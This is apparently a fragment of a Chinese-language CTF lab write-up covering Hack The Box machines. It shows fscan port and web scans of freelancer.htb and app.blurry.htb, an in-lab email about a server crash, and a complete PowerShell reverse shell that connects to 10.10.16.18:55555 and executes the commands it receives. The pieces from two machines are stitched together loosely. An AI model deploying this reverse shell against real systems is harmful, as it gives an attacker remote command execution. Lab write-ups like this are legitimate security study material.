___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.4 start infoscan 10.10.11.5:88 open 10.10.11.5:139 open 10.10.11.5:135 open 10.10.11.5:53 open 10.10.11.5:593 open 10.10.11.5:80 open 10.10.11.5:464 open 10.10.11.5:389 open 10.10.11.5:445 open 10.10.11.5:636 open 10.10.11.5:3269 open 10.10.11.5:3268 open 10.10.11.5:5985 open 10.10.11.5:9389 open 10.10.11.5:47001 open 10.10.11.5:49667 open 10.10.11.5:49669 open 10.10.11.5:49665 open 10.10.11.5:49671 open 10.10.11.5:49670 open 10.10.11.5:49664 open 10.10.11.5:49675 open 10.10.11.5:49672 open 10.10.11.5:49666 open 10.10.11.5:49815 open 10.10.11.5:55297 open [*] alive ports len is: 26 start vulscan [*] WebTitle http://10.10.11.5 code:302 len:0 title:None 跳转url: http://freelancer.htb/ [*] NetInfo [*]10.10.11.5 [->]DC [->]10.10.11.5 [*] WebTitle http://10.10.11.5:5985 code:404 len:315 title:Not Found [*] WebTitle http://10.10.11.5:47001 code:404 len:315 title:Not Found [*] WebTitle http://freelancer.htb/ code:200 len:57293 title:Freelancer - Job Board & Hiring platform 已完成 26/26 [*] 扫描结束,耗时: 1m15.097074037s
do { # Delay before establishing network connection, and between retries Start-Sleep -Seconds 1
# Connect to C2 try{ $TCPClient = New-Object Net.Sockets.TCPClient('10.10.16.18',55555) } catch {} } until ($TCPClient.Connected) $NetworkStream = $TCPClient.GetStream() $StreamWriter = New-Object IO.StreamWriter($NetworkStream) # Writes a string to C2 function WriteToStream ($String) { # Create buffer to be used for next network stream read. Size is determined by the TCP client recieve buffer (65536 by default) [byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0}
# Write to C2 $StreamWriter.Write($String + 'SHELL> ') $StreamWriter.Flush() } # Initial output to C2. The function also creates the inital empty byte array buffer used below. WriteToStream '' # Loop that breaks if NetworkStream.Read throws an exception - will happen if connection is closed. while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) { # Encode command, remove last byte/newline $Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1) # Execute command and save output (including errors thrown) $Output = try { Invoke-Expression $Command 2>&1 | Out-String } catch { $_ | Out-String }
# Write output to C2 WriteToStream ($Output) } # Closes the StreamWriter and the underlying TCPClient $StreamWriter.Close()
Hello Mikasa, I tried once again to work with Liza Kazanoff after seeking her help to troubleshoot the BSOD issue on the "DATACENTER-2019" computer. As you know, the problem started occurring after we installed the new update of SQL Server 2019. I attempted the solutions you provided in your last email, but unfortunately, there was no improvement. Whenever we try to establish a remote SQL connection to the installed instance, the server's CPU starts overheating, and the RAM usage keeps increasing until the BSOD appears, forcing the server to restart. Nevertheless, Liza has requested me to generate a full memory dump on the Datacenter and send it to you for further assistance in troubleshooting the issue. Best regards,
翻译一下就是
1 2 3 4 5 6 7 8 9 10 11
你好，米卡萨，
我再次尝试与丽莎·卡扎诺夫合作，寻求她的帮助以解决“DATACENTER-2019”电脑上的蓝屏死机（BSOD）问题。正如你所知，这个问题在我们安装了 SQL Server 2019 的新更新后开始出现。
我尝试了你在上封邮件中提供的解决方案，但不幸的是，没有任何改进。每当我们尝试与安装的实例建立远程 SQL 连接时，服务器的 CPU 就会开始过热，RAM 使用量不断增加，直到出现蓝屏死机，迫使服务器重启。
start infoscan 10.10.11.19:80 open 10.10.11.19:22 open [*] alive ports len is: 2 start vulscan [*] WebTitle http://10.10.11.19 code:301 len:169 title:301 Moved Permanently 跳转url: http://app.blurry.htb/
